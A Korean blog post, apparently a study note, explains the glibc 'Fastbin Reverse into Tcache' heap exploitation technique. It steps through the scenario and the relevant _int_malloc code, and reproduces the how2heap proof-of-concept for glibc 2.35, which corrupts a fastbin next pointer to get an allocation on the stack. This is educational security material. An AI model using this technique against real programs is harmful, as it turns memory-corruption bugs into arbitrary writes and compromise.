Heap exploit - Fastbin Reverse into Tcache

chk_pass·2024년 4월 9일
0

>glibc 2.25

💡 해제된 청크의 next pointer를 변조할 수 있을 때 AAW를 가능하게 하는 기법




<익스 시나리오>

  1. 14개의 청크 할당 (fastbin 범위 내여야 함)

  2. 그 중 7개를 free하여 tache를 다 채우기

  3. 청크를 하나 더 해제 (=victim청크, fastbin으로 이동)

  4. 1~6개의 청크를 더 해제 (모두 fastbin으로 이동)

  5. victim 청크의 next pointer를 원하는 주소로 덮어쓴다 (2.32이상은 safe link 고려)

  6. 7개의 청크를 다시 할당하여 tache를 비운다.

  7. 그리고 나서 하나의 청크를 더 할당하면 fastbin의 청크들이 reverse순서로 tcache에 들어간다.

    즉, fastbin의 가장 첫 번째 청크가 할당되고 나서, 할당 이후에는 victim청크에 변조해놓은 원하는 주소값이 tcache의 가장 첫 번째 청크가 된다.

  8. 한 번의 할당이 더 일어나게 되면 원하는 주소값에 청크가 할당된다.




<원리>

_int_malloc의 내부 루틴 중 아래 부분에 의하여 fastbin범위의 청크 할당 시에 tcache에 자리가 있다면, tcache가 모두 차거나 fastbin이 비워질 때까지 fastbin의 청크를 tcache로 옮기는 루틴이 있다.

#if USE_TCACHE
	      /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache.  */
	      size_t tc_idx = csize2tidx (nb);
	      if (tcache && tc_idx < mp_.tcache_bins)
		{
		  mchunkptr tc_victim;

		  /* While bin not empty and tcache not full, copy chunks.  */
		  while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		    {
		      if (__glibc_unlikely (misaligned_chunk (tc_victim)))
			malloc_printerr ("malloc(): unaligned fastbin chunk detected 3");
		      if (SINGLE_THREAD_P)
			*fb = REVEAL_PTR (tc_victim->fd);
		      else
			{
			  REMOVE_FB (fb, pp, tc_victim);
			  if (__glibc_unlikely (tc_victim == NULL))
			    break;
			}
		      tcache_put (tc_victim, tc_idx);
		    }
		}
#endif

따라서 위 시나리오 중 6번에서 tcache를 비운 뒤 청크를 한 번 더 할당하게 되면 fastbin의 청크들이 모두 tcache로 들어가게 되는 것이다.

즉, 7번 이전 상황

fastbin : 7→6→5→4→3→2→victim→변조한 주소 → 변조한 주소에 해당하는 값

7번 이후 상황

tcache: 변조한 주소→ victim→ 2→ 3→ 4→ 5→ 6 (7번의 할당에서 7청크가 할당됨)

fastbin: 변조한 주소에 해당하는 값

따라서 한 번의 malloc이 더 일어나면 tcache의 가장 앞에 있는 “변조한 주소”에 청크가 할당된다.


victim 청크 이후에 추가로 해제하는 청크의 개수는 몇개여야 하는가?

⇒ 청크를 할당하고 싶은 주소에 존재하는 값이 0(or valid한 값)인 경우에는 6개 이하도 가능이지만 0이 아니라면 반드시 6개의 청크를 해제해야 한다.

⇒ 왜냐하면, 청크를 할당하고 싶은 주소에 존재하는 값은 tcache 상에서 next pointer로 취급될 것이고, 만약 그 값이 valid하지 않거나 null이 아니라면 crash가 발생할 것이기 때문이다.

⇒ 여기서 valid한 값이란, 16진수로 나타냈을 때 기준 마지막 0.5바이트가 0으로 끝나는 즉, 0x???0형태를 가짐을 의미한다. 그리고 valid한지의 판단은 glibc 2.32이상부터는 safe link를 고려해서 판단해야 한다. (만약 0으로 끝나도 safe link를 고려한다면 0으로 끝나지 않게 되는 경우, valid하지 않다고 판단)

⇒ 오류가 나는 이유를 좀 더 자세하게 분석해보자면 다음과 같다. 우선 <원리>의 코드를 참고하면, fastbin이 비워지거나 tcache가 다 찰 때까지 fastbin 청크를 tcache로 이동시키는 부분이 존재한다. 이는 fastbin의 가장 앞에 있는 청크부터 순서대로 tcache에 밀어넣기 때문에 fastbin에서와 반대의 순서로 tcache에 들어가게 되는것이다. 그런데, 만약 6개보다 적은 수의 청크를 해제하게 된다면 변조한 주소에 해당하는 값까지도 tcache로 이동시켜야 할 대상이 된다. (6개의 청크를 해제한다면 변조한 주소에 해당하는 값의 차례가 오기 전에 tcache가 다 차버리게 됨) 즉, 변조한 주소에 해당하는 값까지도 검증의 대상이 된다는 것이다. 따라서 misaligned_chunk() 를 통과할 수 있어야하는데 이 값이 valid하거나 널이 아니라면 여기서 오류가 나서 강제종료된다.

5개의 청크를 해제한다면 다음과 같은 상황이 발생

7번 이전 상황

fastbin : 6→5→4→3→2→victim→변조한 주소 → 변조한 주소에 해당하는 값

7번 이후 상황

tcache: 변조한 주소에 해당하는 값(검증대상)→변조한 주소→ victim→ 2→ 3→ 4→ 5→ 6 (7번의 할당에서 7청크가 할당됨)



<구현코드>-how2heap glibc 2.35 기준

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
	setbuf(stdout, NULL);

	printf("\n"
		   "This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
		   "except it works with a small allocation size (allocsize <= 0x78).\n"
		   "The goal is to set things up so that a call to malloc(allocsize) will write\n"
		   "a large unsigned value to the stack.\n\n");
	printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n"
		   "An heap address leak is needed to perform this attack.\n"
		   "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n");

	// Allocate 14 times so that we can free later.
	char* ptrs[14];
	size_t i;
	for (i = 0; i < 14; i++) {
		ptrs[i] = malloc(allocsize);
	}
	
	printf("First we need to free(allocsize) at least 7 times to fill the tcache.\n"
	  	   "(More than 7 times works fine too.)\n\n");
	
	// Fill the tcache.
	for (i = 0; i < 7; i++) free(ptrs[i]);
	
	char* victim = ptrs[7];
	printf("The next pointer that we free is the chunk that we're going to corrupt: %p\n"
		   "It doesn't matter if we corrupt it now or later. Because the tcache is\n"
		   "already full, it will go in the fastbin.\n\n", victim);
	free(victim);
	
	printf("Next we need to free between 1 and 6 more pointers. These will also go\n"
		   "in the fastbin. If the stack address that we want to overwrite is not zero\n"
		   "then we need to free exactly 6 more pointers, otherwise the attack will\n"
		   "cause a segmentation fault. But if the value on the stack is zero then\n"
		   "a single free is sufficient.\n\n");
	
	// Fill the fastbin.
	for (i = 8; i < 14; i++) free(ptrs[i]);
	
	// Create an array on the stack and initialize it with garbage.
	size_t stack_var[6];
	memset(stack_var, 0xcd, sizeof(stack_var));
	
	printf("The stack address that we intend to target: %p\n"
		   "It's current value is %p\n", &stack_var[2], (char*)stack_var[2]);
	
	printf("Now we use a vulnerability such as a buffer overflow or a use-after-free\n"
			"to overwrite the next pointer at address %p\n\n", victim);
	
	//------------VULNERABILITY-----------
	
	// Overwrite linked list pointer in victim.
	// The following operation assumes the address of victim is known, thus requiring
	// a heap leak.
	*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));
	
	//------------------------------------
	
	printf("The next step is to malloc(allocsize) 7 times to empty the tcache.\n\n");
	
	// Empty tcache.
	for (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);
	
	printf("Let's just print the contents of our array on the stack now,\n"
			"to show that it hasn't been modified yet.\n\n");
	
	for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
	
	printf("\n"
		   "The next allocation triggers the stack to be overwritten. The tcache\n"
		   "is empty, but the fastbin isn't, so the next allocation comes from the\n"
		   "fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\n"
		   "Those 7 chunks are copied in reverse order into the tcache, so the stack\n"
		   "address that we are targeting ends up being the first chunk in the tcache.\n"
		   "It contains a pointer to the next chunk in the list, which is why a heap\n"
		   "pointer is written to the stack.\n"
		   "\n"
		   "Earlier we said that the attack will also work if we free fewer than 6\n"
		   "extra pointers to the fastbin, but only if the value on the stack is zero.\n"
		   "That's because the value on the stack is treated as a next pointer in the\n"
		   "linked list and it will trigger a crash if it isn't a valid pointer or null.\n"
		   "\n"
		   "The contents of our array on the stack now look like this:\n\n");
	
	malloc(allocsize);
	
	for (i = 0; i < 6; i++) printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
	
	char *q = malloc(allocsize);
	printf("\n"
			"Finally, if we malloc one more time then we get the stack address back: %p\n", q);
	
	assert(q == (char *)&stack_var[2]);
	
	return 0;
}




<실제 디버깅>

  1. 14개의 청크를 free한 상태

  1. victim chunk의 next ptr을 변조한 상태
  1. tcache를 비운 상태

  1. 추가로 하나의 청크를 할당해서 fastbin의 청크가 tcache로 이동한 상태(순서가 바뀐것을 볼 수 있음)

    fastbin에서 가장 첫 청크는 해제해서 사라지고, 가장 안쪽에 있던 invalid값만 fastbind에 남은 것을 볼 수 있음(이 값에 대해서는 검증절차가 진행되지 않음)

0개의 댓글